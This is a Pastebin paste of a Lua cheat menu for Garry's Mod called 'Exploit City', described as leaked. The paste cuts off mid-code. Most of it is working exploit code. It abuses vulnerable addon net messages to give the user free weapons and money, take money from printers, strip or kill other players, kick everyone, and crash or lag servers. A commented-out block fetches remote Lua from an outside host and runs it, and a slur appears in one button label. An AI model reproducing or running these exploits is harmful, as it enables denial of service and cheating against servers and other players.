Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* leaked by b1g hacker */
- MsgC(Color(0, 240, 255), "β¬ Exploit City β¬\n")
- MsgC(Color(0, 200, 255), "Type exploits_open in console to open!\n")
- MsgC(Color(0, 200, 255), "Coded by triggered and Voltz\n")
- surface.PlaySound("HL1/fvox/bell.wav")
- function ValidNetString( str )
- local status, error = pcall( net.Start, str )
- return status
- end
- local function playSound(url)
- sound.PlayURL(url, '', function( station )
- if ( IsValid( station ) ) then
- station:SetPos( LocalPlayer():GetPos() )
- station:Play()
- end
- end)
- end
- playSound("https://itzvoltz.xyz/ec/exploitsismyscity.mp3")
- -- Overriding original DL_Answering_global so it doesnt crash you when kicking all
- net.Receive("DL_Answering_global", function(_len)
- end)
- --[[ WATERMARK ]] --
- Watermark = vgui.Create( "HTML" )
- Watermark:SetPos( -13, -8)
- Watermark:SetSize( ScrW(), ScrH())
- Watermark:OpenURL( "https://itzvoltz.xyz/ec/watermark.html" )
- GRADIENT_HORIZONTAL = 0;
- GRADIENT_VERTICAL = 1;
- function draw.LinearGradient(x,y,w,h,from,to,dir,res)
- dir = dir or GRADIENT_HORIZONTAL;
- if dir == GRADIENT_HORIZONTAL then res = (res and res <= w) and res or w;
- elseif dir == GRADIENT_VERTICAL then res = (res and res <= h) and res or h; end
- for i=1,res do
- surface.SetDrawColor(
- Lerp(i/res,from.r,to.r),
- Lerp(i/res,from.g,to.g),
- Lerp(i/res,from.b,to.b),
- Lerp(i/res,from.a,to.a)
- );
- if dir == GRADIENT_HORIZONTAL then surface.DrawRect(x + w * (i/res), y, w/res, h );
- elseif dir == GRADIENT_VERTICAL then surface.DrawRect(x, y + h * (i/res), w, h/res ); end
- end
- end
- function SploitText( str )
- chat.AddText( Color( 0, 255, 255 ), "[EC] ", Color( 0, 200, 255), str )
- end
- surface.CreateFont( "customfont", {
- font = "Roboto",
- size = 21,
- } )
- surface.CreateFont( "customfont2", {
- font = "Calibri",
- size = 15,
- } )
- surface.CreateFont( "customfont3", {
- font = "Calibri",
- size = 24,
- } )
- surface.CreateFont( "closebuttonfont", {
- font = "Caviar Dreams",
- size = 21,
- } )
- local function SploitNotify(text)
- local notify = vgui.Create( "DPanel" )
- notify:SetSize( 200, 50 )
- notify:SetPos( ScrW() - 200, -50 )
- notify.Paint = function(self, w, h)
- draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
- draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
- draw.SimpleText( text, "customfont3", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- end
- notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
- timer.Simple( 3, function()
- notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
- end);end)
- end
- --[[Weapon Stripper Menu]]--
- time = 1
- function Ply(name) -- finds player name
- name = string.lower(name);
- for _,v in ipairs(player.GetHumans()) do
- if(string.find(string.lower(v:Name()),name,1,true) != nil) then
- return v;
- end
- end
- end
- function stripPlayer(ply) -- Strip player function
- if ply:IsPlayer() then
- for k,v in pairs(ply:GetWeapons()) do
- net.Start("properties")
- net.WriteString( "remove" , 32 )
- net.WriteEntity( v )
- net.SendToServer()
- end
- end
- end
- concommand.Add("removewep_crosshair", function()
- local xhair = LocalPlayer():GetEyeTrace().Entity
- stripPlayer(xhair)
- end)
- function removeAll() -- Strips all Players
- for k,v in pairs(player.GetAll()) do
- stripPlayer(v)
- end
- end
- local f = vgui.Create( "DFrame" )
- f:SetTitle("Weapon Stripper")
- f:SetSize( 500, 500 )
- f:Center()
- f:MakePopup()
- f:SetVisible(false)
- f:ShowCloseButton(false)
- f.Paint = function( self, w, h )
- draw.RoundedBox( 5, 0, 0, w, h, Color(40, 40, 40))
- end
- local closebutton2 = vgui.Create( "DButton", f )
- closebutton2:SetText( "X" )
- closebutton2:SetTextColor( Color( 255, 0, 0 ) )
- closebutton2:SetPos( f:GetWide() - 31, 0 )
- closebutton2:SetFont("closebuttonfont")
- closebutton2:SetSize( 31, 31 )
- closebutton2.Paint = function( self, w, h )
- if closebutton2:IsHovered() then
- draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
- end
- end
- closebutton2.DoClick = function()
- f:SetVisible(false)
- end
- local button = vgui.Create("DButton", f)
- button:SetText("Strip All")
- button:SetPos(220,40)
- button:SetTextColor(Color(255, 255, 255))
- button.DoClick = function ()
- removeAll()
- end
- button.Paint = function( self, w, h )
- draw.RoundedBox( 5, 0, 0, w, h, Color(60, 60, 60))
- end
- local DermaCheckboxone = vgui.Create( "DCheckBoxLabel" , f )// Create the checkbox
- DermaCheckboxone:SetPos( 220, 70 )// Set the position
- DermaCheckboxone:SetValue(false)
- DermaCheckboxone:SetText("Remove All Timer")
- function DermaCheckboxone:OnChange( val )
- if (val) then
- print("rekt all player's weapons")
- net.Start("properties")
- net.WriteString( "remove" , 32 )
- net.WriteEntity( player.GetAll() )
- net.SendToServer()
- timer.Create( "removealltimer", time, 0, function()
- print("rekt all player's weapons")
- net.Start("properties")
- net.WriteString( "remove" , 32 )
- net.WriteEntity( player.GetAll() )
- net.SendToServer()
- end)
- else
- timer.Remove("removealltimer")
- end
- end
- local TimeSlider = vgui.Create( "DNumSlider", f )
- TimeSlider:SetPos( 220, 90 ) // Set the position
- TimeSlider:SetSize( 200, 15 ) // Set the size
- TimeSlider:SetText( "Time Interval" ) // Set the text above the slider
- TimeSlider:SetMin( .1 ) // Set the minimum number you can slide to
- TimeSlider:SetMax( 7.5 ) // Set the maximum number you can slide to
- TimeSlider:SetValue( 1 )
- TimeSlider:SetDecimals( 1 ) // Decimal places - zero for whole number
- TimeSlider.OnValueChanged = function( panel, value )
- time = math.Round(value, 1)
- if DermaCheckboxone:GetChecked() == 1 then
- timer.Remove("removealltimer")
- timer.Create( "removealltimer", time, 0, function()
- print("rekt")
- net.Start("properties")
- net.WriteString( "remove" , 32 )
- net.WriteEntity( player.GetAll() )
- net.SendToServer()
- end)
- end
- end
- local AppList = vgui.Create( "DListView", f)
- AppList:SetSize(200,100)
- AppList:Dock( LEFT )
- AppList:SetMultiSelect( false )
- AppList:AddColumn( "Name" )
- for k, v in pairs(player.GetAll()) do
- AppList:AddLine(v:Name())
- end
- AppList.OnRowSelected = function( lst, index, pnl )
- --print( "Selected " .. pnl:GetColumnText( 1 ) .. " at index " .. index )
- ply = Ply(pnl:GetColumnText( 1 ))
- print(pnl:GetColumnText( 1 ) .. " rekt")
- stripPlayer(ply)
- end
- concommand.Add("menu",menu)
- concommand.Add("strip",stripPlayer)
- function removeWeapons()
- local Target = LocalPlayer():GetEyeTrace().Entity
- if Target:IsPlayer() then
- for x,y in pairs(Target:GetWeapons()) do
- net.Start("properties")
- net.WriteString( "remove" , 32 )
- net.WriteEntity( y )
- net.SendToServer()
- end
- end
- end
- --[[End of Weapon Stripper]]--
- local wMain = ScrW() / 3
- local hMain = ScrH() / 2.8
- totalSploits = 0
- local Main = vgui.Create( "DFrame" )
- Main:SetTitle("")
- Main:SetSize( wMain, hMain )
- Main:SetPos( ScrW() / 2 - Main:GetWide() / 2, ScrH())
- Main:SetMouseInputEnabled(true)
- Main:SetKeyBoardInputEnabled(true)
- Main:SetDraggable(false)
- Main:SetVisible(false)
- Main:ShowCloseButton(false)
- Main.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 240 ) )
- draw.LinearGradient( 0, 0, w, 31, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
- --draw.RoundedBox( 0, 0, 0, w, 31, Color( 20, 20, 20, 255 ) )
- surface.SetDrawColor( 0, 0, 0, 255)
- surface.DrawOutlinedRect( 0, 0, w, h )
- draw.SimpleText( "Exploit City", "customfont", Main:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
- draw.SimpleText( totalSploits .. "/36", "customfont", 6, 6, Color(255, 255, 255), TEXT_ALIGN_LEFT )
- end
- local closebutton = vgui.Create( "DButton", Main )
- closebutton:SetText( "X" )
- closebutton:SetTextColor( Color( 255, 0, 0 ) )
- closebutton:SetPos( Main:GetWide() - 31, 0 )
- closebutton:SetFont("closebuttonfont")
- closebutton:SetSize( 31, 31 )
- closebutton.Paint = function( self, w, h )
- if closebutton:IsHovered() then
- draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
- end
- end
- local weaponbutton = vgui.Create( "DButton", Main )
- weaponbutton:SetText( "Weapon Stripper" )
- weaponbutton:SetTextColor( Color( 255, 255, 255 ) )
- weaponbutton:SetSize( 31 * 3.5, 31 )
- weaponbutton:SetPos( Main:GetWide() - 31 * 4.5, 0 )
- weaponbutton:SetFont("customfont2")
- weaponbutton.Paint = function( self, w, h )
- if weaponbutton:IsHovered() then
- draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
- end
- end
- weaponbutton.DoClick = function()
- f:SetVisible(true)
- end
- local tabs = vgui.Create( "DPropertySheet", Main )
- tabs:Dock( FILL )
- tabs:DockPadding( 5, 5, 0, 0)
- tabs.Paint = function (self, w, h)
- for k, v in pairs(tabs.Items) do
- if (!v.Tab) then continue end
- v.Tab.Paint = function(self,w,h)
- draw.LinearGradient( 0, 0, w, h, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
- end
- end
- end
- local exploitsPanel = vgui.Create( "DPanel", tabs )
- exploitsPanel.Paint = function( self, w, h )
- --draw.LinearGradient( 0, 0, w, h, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
- draw.RoundedBox(0, 0, 0, w, h, Color(40,40,40))
- end
- tabs:AddSheet( "Exploits", exploitsPanel )
- local toolsPanel = vgui.Create( "DPanel", tabs )
- toolsPanel.Paint = function( self, w, h )
- draw.RoundedBox(0, 0, 0, w, h, Color(40,40,40))
- end
- tabs:AddSheet( "Tools", toolsPanel )
- local exploitsScrollPanel = vgui.Create( "DScrollPanel", exploitsPanel )
- exploitsScrollPanel:Dock( FILL )
- local toolsScrollPanel = vgui.Create( "DScrollPanel", toolsPanel )
- toolsScrollPanel:Dock( FILL )
- --[[ FUNCTIONS ]]
- function addExploit(id, text, desc, func)
- local id2 = id .. "."
- local name = text
- totalSploits = 1 + totalSploits
- local id = vgui.Create( "DButton", exploitsScrollPanel )
- id:SetText( name )
- id:SetTextColor( Color( 200, 200, 200 ) )
- id:SetFont("customfont")
- id:Dock( TOP )
- id:DockMargin( 2, 10, 2, -5 )
- id:DockPadding( 2, 25, 2, 50 )
- id.DoClick = func
- id.Paint = function( self, w, h )
- if id:IsHovered() then
- draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
- draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
- end
- surface.SetDrawColor( 0, 0, 0, 255)
- surface.DrawOutlinedRect( 0, 0, w, h )
- end
- end
- function addTool(id, text, desc, func)
- local id2 = id .. "."
- local name = text
- local id = vgui.Create( "DButton", toolsScrollPanel )
- id:SetText( name )
- id:SetTextColor( Color( 200, 200, 200 ) )
- id:SetFont("customfont")
- id:Dock( TOP )
- id:DockMargin( 2, 10, 2, -5 )
- id:DockPadding( 2, 25, 2, 50 )
- id.DoClick = func
- id.Paint = function( self, w, h )
- if id:IsHovered() then
- draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
- draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
- end
- surface.SetDrawColor( 0, 0, 0, 255)
- surface.DrawOutlinedRect( 0, 0, w, h )
- end
- end
- function addServer(id, text, desc, ip)
- local id2 = id .. "."
- local name = text
- local id = vgui.Create( "DButton", serversScrollPanel )
- id:SetText( name )
- id:SetTextColor( Color( 200, 200, 200 ) )
- id:SetFont("customfont")
- id:Dock( TOP )
- id:DockMargin( 2, 10, 2, -5 )
- id:DockPadding( 2, 25, 2, 50 )
- id.DoClick = function()
- LocalPlayer():ConCommand("connect "..ip)
- end
- id.Paint = function( self, w, h )
- if id:IsHovered() then
- draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
- draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
- end
- surface.SetDrawColor( 0, 0, 0, 255)
- surface.DrawOutlinedRect( 0, 0, w, h )
- end
- end
- function broadcast( str )
- if( str != nil ) then
- SploitText("Beginning to broadcast message: " .. str)
- else
- SploitText("Message is nil, enter a valid string!")
- end
- for k,v in pairs( player.GetAll() ) do
- if ( v != LocalPlayer() ) then
- RunConsoleCommand( "ulx", "psay", v:Nick(), str )
- end
- end
- end
- hook.Add("Think", "RGBSTF", function()
- local rainbowC = HSVToColor( CurTime() % 6 * 60, 1, 1 )
- LocalPlayer():SetWeaponColor( Vector( rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255 ) )
- LocalPlayer():SetPlayerColor( Vector( rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255 ) )
- end)
- --[[ SERVERS ]]--
- /*
- http.Fetch("https://itzvoltz.xyz/ec/serverlist.lua", function( ret )
- RunString( ret )
- end)
- -- [[ Tools ]]
- -- [[ Server List ]]
- addTool("serverList", "Server List", "Opens a menu with exploitable servers", function()
- LocalPlayer():ConCommand("exploitable_servers")
- end)
- */
- --[[ ULX PSAY BROADCASTER ]]
- if ulx then
- addTool("pSayBroadcaster", "ULX PSAY Broadcast", "PM's every player on the server", function ()
- --[[ Vars ]]
- local wPsay = ScrW() / 5
- local hPsay = ScrH() / 10
- --[[ Menu ]]
- local pSayMain = vgui.Create( "DFrame" )
- pSayMain:SetTitle("")
- pSayMain:SetSize( wPsay, hPsay )
- pSayMain:SetPos(50, ScrH() / 2)
- pSayMain:SetMouseInputEnabled(true)
- pSayMain:SetKeyBoardInputEnabled(true)
- pSayMain:ShowCloseButton(false)
- pSayMain:MakePopup()
- pSayMain.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
- draw.LinearGradient( 0, 0, w, 31, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
- surface.SetDrawColor( 0, 0, 0, 255)
- surface.DrawOutlinedRect( 0, 0, w, h )
- draw.SimpleText( "PM Broadcaster", "customfont", w / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
- end
- local psayClose = vgui.Create( "DButton", pSayMain )
- psayClose:SetText( "X" )
- psayClose:SetTextColor( Color( 255, 0, 0 ) )
- psayClose:SetPos( pSayMain:GetWide() - 31, 0 )
- psayClose:SetFont("closebuttonfont")
- psayClose:SetSize( 31, 31 )
- psayClose.Paint = function( self, w, h )
- if psayClose:IsHovered() then
- draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
- end
- end
- psayClose.DoClick = function()
- pSayMain:Remove()
- end
- local psayInput = vgui.Create( "DTextEntry", pSayMain )
- psayInput:SetPos( 25, 40 )
- psayInput:SetSize( pSayMain:GetWide() / 2 , 25 )
- psayInput:SetText( "BroadcastMSG" )
- psayInput.OnEnter = function( self )
- chat.AddText( self:GetValue() )
- end
- local sendBroadCast = vgui.Create( "DButton", pSayMain )
- sendBroadCast:SetText( "Broadcast" )
- sendBroadCast:SetTextColor( Color( 255, 255, 255 ) )
- sendBroadCast:SetPos( 220, 40 )
- sendBroadCast:SetFont("customfont")
- sendBroadCast:SetSize( 90, 25 )
- sendBroadCast.Paint = function( self, w, h )
- if sendBroadCast:IsHovered() then
- draw.RoundedBox( 0, 0, 0, w, h, Color( 40, 40, 40, 255 ) )
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
- end
- end
- sendBroadCast.DoClick = function()
- broadcast( psayInput:GetValue() )
- end
- end)
- end
- --[[ Exploits ]]--
- local status = ValidNetString("CraftSomething")
- if (status) then
- SploitText("Found exploitable net message: CraftSomething")
- addExploit( "1", "Give Weapons", "Gives you any weapon of your choice", function()
- inputFrameExists = true
- inputFrame = vgui.Create( "DFrame" )
- inputFrame:SetTitle("Choose a weapon!")
- inputFrame:SetSize( 400, 75 )
- inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
- inputFrame:SetDraggable(false)
- inputFrame:ShowCloseButton(false)
- inputFrame:MakePopup()
- inputFrame.Paint = function( self, w, h )
- draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
- end
- local TextEntry = vgui.Create( "DTextEntry", inputFrame )
- TextEntry:SetSize( 380, 30 )
- TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
- TextEntry:SetText( "m9k_ak47" )
- TextEntry.OnEnter = function( self )
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitText("Giving Weapon")
- net.Start( "CraftSomething" )
- net.WriteEntity( LocalPlayer() )
- net.WriteString( self:GetValue() )
- net.WriteString( "" )
- net.WriteString( "weapon" )
- net.SendToServer()
- inputFrame:SetVisible(false)
- end
- end)
- end
- local status = ValidNetString("TCBuyAmmo")
- if (status) then
- SploitText("Found exploitable net message: TCBuyAmmo")
- addExploit( "2","Free Ammo", "Gets All Ammo Types", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitText("Getting Le Ammo")
- for k,v in pairs(GAMEMODE.AmmoTypes) do
- net.Start("TCBBuyAmmo")
- net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
- net.SendToServer()
- end
- end);end
- local status = ValidNetString("DataSend")
- if (status) then
- SploitText("Found exploitable net message: Steal All Monies #1")
- addExploit( "4","Steal All Monies #1", "Takes money from printers", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- for k, v in pairs( ents.GetAll() ) do
- if v:GetClass() == "adv_moneyprinter" then
- SploitText("Collecting Money")
- net.Start("DataSend")
- net.WriteFloat(2)
- net.WriteEntity(v)
- net.WriteEntity(LocalPlayer())
- net.SendToServer()
- end;end
- end);end
- local status = ValidNetString("FarmingmodSellItems")
- if (status) then
- SploitText("Found Exploit: Free Money")
- addExploit( "5","Free Money", "An exploit in the Farming Mod", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitText("Enjoy the b1g monies")
- net.Start( "FarmingmodSellItems" )
- net.WriteTable(
- {
- Cost = 10,
- CropModel = "models/props/eryk/garlic.mdl",
- CropType = 2,
- Info = "Garlic Seed",
- Model = "models/props/eryk/seedbag.mdl",
- Name = "Garlic",
- Quality = 4,
- Sell = 99999,
- Type = "Seed"
- }
- )
- net.WriteInt(1,16)
- net.SendToServer()
- end);end
- local status = ValidNetString("start_wd_emp")
- if (status) then
- SploitText("Found Exploit: Hack Keypads")
- addExploit( "6","Hack Keypads", "An exploit in the hacking phone", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitNotify("Hacking Keypads")
- net.Start('start_wd_emp')
- net.SendToServer()
- end);end
- local status = ValidNetString("duelrequestguiYes")
- if (status) then
- SploitText("Found Exploit: Get Money")
- addExploit( "7","Get Money", "Duel Exploit", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitNotify("getting ez monies")
- net.Start("duelrequestguiYes")
- net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
- net.WriteEntity(table.Random( player.GetAll() ) )
- net.WriteString("Crossbow")
- net.SendToServer()
- end);end
- local status = ValidNetString("drugseffect_remove")
- if (status) then
- SploitText("Found exploitable net message: drugseffect_remove ")
- addExploit( "8","Remove All Weapons", "An exploit in the drug addon", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitText("Removing Weapons from All")
- net.Start("drugseffect_remove")
- net.SendToServer()
- end);end
- local status = ValidNetString("drugs_money")
- if (status) then
- SploitText("Found exploitable net message: drugs_money")
- addExploit( "9","Remove All Money", "An exploit in the drug addon", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitText("Removing Weapons from All")
- net.Start("drugs_money")
- net.SendToServer()
- end);end
- local status = ValidNetString("drugs_ignite")
- if (status) then
- SploitText("Found exploitable net message: drugs_ignite")
- addExploit( "10","Ignite Props", "An exploit in the drug addon", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitText("Igniting Props")
- net.Start("drugs_ignite")
- net.WriteString("prop_physics")
- net.SendToServer()
- end);end
- local status = ValidNetString("drugs_ignite")
- if (status) then
- addExploit( "11","Ignite Players", "An exploit in the drug addon", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitText("Igniting Players")
- net.Start("drugs_ignite")
- net.WriteString("player")
- net.SendToServer()
- end);end
- local status = ValidNetString("drugseffect_hpremove")
- if (status) then
- SploitText("Found Exploit: Remove All Players HP")
- addExploit( "12","Remove All Players HP", "An exploit in the drug addon", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitText("Removing All Players HP")
- net.Start("drugseffect_hpremove")
- net.WriteString(1)
- net.SendToServer()
- end);end
- local status = ValidNetString("drugseffect_hpremove")
- if (status) then
- SploitText("Found Exploit: Give All God")
- addExploit( "13","Give All God", "An exploit in the drug addon", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitText("Giving All God")
- net.Start("drugseffect_hpremove")
- net.WriteString(299999)
- net.SendToServer()
- end);end
- local status = ValidNetString("drugs_text")
- if (status) then
- SploitText("Found Exploit: Remove All Props")
- addExploit( "14","Remove All Props", "An exploit in the drug addon", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitText("Removing All Props")
- net.Start("drugs_text")
- net.WriteString("prop_physics")
- net.SendToServer()
- end);end
- local status = ValidNetString("DarkRP_Kun_ForceSpawn")
- if (status) then
- SploitText("Found Exploit: TP")
- addExploit( "15", "TP", "No clue what this does xd", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitText("TPing")
- net.Start("DarkRP_Kun_ForceSpawn")
- net.SendToServer()
- end);end
- local status = ValidNetString("SyncPrinterButtons76561198056171650")
- if (status) then
- SploitText("Found Exploit: Steal All Monies #2")
- addExploit( "16","Steal All Monies #2", "Takes money from printers", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitText("Collecting Money")
- for k, v in pairs(ents.GetAll()) do
- if (v:GetClass() == "adv_moneyprinter") then
- net.Start( "SyncPrinterButtons76561198056171650" )
- net.WriteEntity(v)
- net.WriteUInt(2, 4)
- net.SendToServer()
- end
- end
- end);end
- local function report()
- for i = 1, 2000 do
- net.Start("DL_Answering")
- net.SendToServer()
- end
- end
- if (Damagelog) then
- SploitText("Found Exploit: Kick All Players")
- reportSpam = 0
- addExploit( "17","Kick All Players", "Kicks all players", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if (reportSpam == 0) then
- SploitNotify("Starting Kicker")
- reportSpam = 1
- timer.Create("reportSpammer", 0.05, 0, report)
- else
- SploitNotify("Stopping Kicker")
- reportSpam = 0
- timer.Remove("reportSpammer")
- end
- end);end
- local status = ValidNetString("SimplicityAC_aysent")
- if (status) then
- SploitText("Found Exploit: Instant Crash")
- addExploit( "19","Instant Crash", "Will instantly crash the server", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitText("Goodbye Server")
- local tbl = {}
- for i=1,400 do
- tbl[i] = i
- end
- net.Start("SimplicityAC_aysent")
- net.WriteUInt(1, 8)
- net.WriteUInt(4294967295, 32)
- net.WriteTable(tbl)
- net.SendToServer()
- end);end
- local status = ValidNetString("ATS_WARP_REMOVE_CLIENT")
- if (status) then
- SploitText("Found Exploit: Lagger #1")
- lagger1 = 0
- addExploit( "20", "Lagger #1", "b1g lags", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if (lagger1 == 0) then
- SploitNotify("Starting Lagger")
- lagger1 = 1
- timer.Create("lagger1", 0.02, 0, function()
- for k,v in pairs(player.GetAll()) do
- net.Start( "ATS_WARP_REMOVE_CLIENT" )
- net.WriteEntity( v )
- net.WriteString( "adminroom1" )
- net.SendToServer()
- net.Start( "ATS_WARP_FROM_CLIENT" )
- net.WriteEntity( v )
- net.WriteString( "adminroom1" )
- net.SendToServer()
- net.Start( "ATS_WARP_VIEWOWNER" )
- net.WriteEntity( v )
- net.WriteString( "adminroom1" )
- net.SendToServer()
- end
- end)
- else
- SploitNotify("Stopping Lagger")
- lagger1 = 0
- timer.Remove("lagger1")
- end
- end);end
- local status = ValidNetString("CFRemoveGame")
- if (status) then
- SploitText("Found Exploit: Lagger #2")
- lagger2 = 0
- addExploit( "21", "Lagger #2", "b1g lags", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if (lagger2 == 0) then
- SploitNotify("Starting Lagger")
- lagger2 = 1
- timer.Create("lagger2", 0.01, 0, function()
- for k,v in pairs(player.GetAll()) do
- net.Start( "CFRemoveGame" )
- net.WriteFloat( math.Round( "10000\n" ) )
- net.SendToServer()
- net.Start( "CFJoinGame" )
- net.WriteFloat( math.Round( "10000\n" ) )
- net.SendToServer()
- net.Start( "CFEndGame" )
- net.WriteFloat( "10000\n" )
- net.SendToServer()
- end
- end)
- else
- SploitNotify("Stopping Lagger")
- lagger2 = 0
- timer.Remove("lagger2")
- end
- end);end
- local status = ValidNetString("CreateCase")
- if (status) then
- SploitText("Found Exploit: Lagger #4")
- lagger4 = 0
- addExploit( "23", "Lagger #4", "b1g lags", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if (lagger4 == 0) then
- SploitNotify("Starting Lagger")
- lagger4 = 1
- timer.Create("lagger4", 0.02, 0, function()
- for i = 1, 300 do
- net.Start( "CreateCase" )
- net.WriteString( "tapped by citizenhack.me" )
- net.SendToServer()
- end;end)
- else
- SploitNotify("Stopping Lagger")
- lagger4 = 0
- timer.Remove("lagger4")
- end
- end);end
- local status = ValidNetString("rprotect_terminal_settings")
- if (status) then
- SploitText("Found Exploit: Lagger #5")
- lagger5 = 0
- addExploit( "24", "Lagger #5", "b1g lags", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if (lagger5 == 0) then
- SploitNotify("Starting Lagger")
- lagger5 = 1
- timer.Create("lagger5", 0.02, 0, function()
- for i = 1, 200 do
- net.Start( "rprotect_terminal_settings" )
- net.WriteEntity( LocalPlayer() )
- net.SendToServer()
- end
- end)
- else
- SploitNotify("Stopping Lagger")
- lagger5 = 0
- timer.Remove("lagger5")
- end
- end);end
- local status = ValidNetString("StackGhost")
- if (status) then
- SploitText("Found Exploit: Lagger #6")
- lagger6 = 0
- addExploit( "25", "Lagger #6", "b1g lags", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if (lagger6 == 0) then
- SploitNotify("Starting Lagger")
- lagger6 = 1
- timer.Create("lagger6", 0.010, 0, function()
- for i = 1, 8 do
- for k,v in pairs( player.GetAll() ) do
- net.Start( "StackGhost" )
- net.WriteInt(69,32)
- net.SendToServer()
- end;end;end)
- else
- SploitNotify("Stopping Lagger")
- lagger6 = 0
- timer.Remove("lagger6")
- end
- end);end
- local status = ValidNetString("pac_to_contraption")
- if (status) then
- SploitText("Found Exloit: Crash Server")
- addExploit( "26","Crash Server", "Crashes the server (seems to not always work)", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitNotify("Crashing Server")
- local tbl = {}
- for i=1,1000000000 do
- tbl[#tbl + 1] = i
- end
- net.Start("pac_to_contraption")
- net.WriteTable( tbl )
- net.SendToServer()
- end);end
- local status = ValidNetString("NLRKick")
- if (status) then
- SploitText("Found Exploit: Kick All")
- addExploit( "27","Kick All", "kick all the beaners", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitNotify("Kicking All")
- for k,v in pairs(player.GetAll()) do
- if v != LocalPlayer() then
- net.Start("NLRKick")
- net.WriteEntity(v)
- net.SendToServer()
- end
- end
- end);end
- local status = ValidNetString("JoinOrg")
- if (status) then
- SploitText("Found Exploit: Lagger #7")
- lagger7 = 0
- addExploit( "28", "Lagger #7", "b1111g lags", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if (lagger7 == 0) then
- SploitNotify("Starting Lagger")
- lagger7 = 1
- timer.Create("lagger7", 0.02, 0, function()
- for k,v in pairs(player.GetAll()) do
- net.Start("JoinOrg")
- net.WriteEntity(LocalPlayer())
- net.WriteString("test")
- net.SendToServer()
- end
- end)
- else
- SploitNotify("Stopping Lagger")
- lagger7 = 0
- timer.Remove("lagger7")
- end
- end);end
- local status = ValidNetString("giveweapon")
- if (status) then
- SploitText("Found Exploit: Give Weapons")
- addExploit( "29", "Give Weapons", "big explo1t", function()
- inputFrame2Exists = true
- inputFrame2 = vgui.Create( "DFrame" )
- inputFrame2:SetTitle("Choose a weapon!")
- inputFrame2:SetSize( 400, 75 )
- inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230 )
- inputFrame2:SetDraggable(false)
- inputFrame2:ShowCloseButton(false)
- inputFrame2:MakePopup()
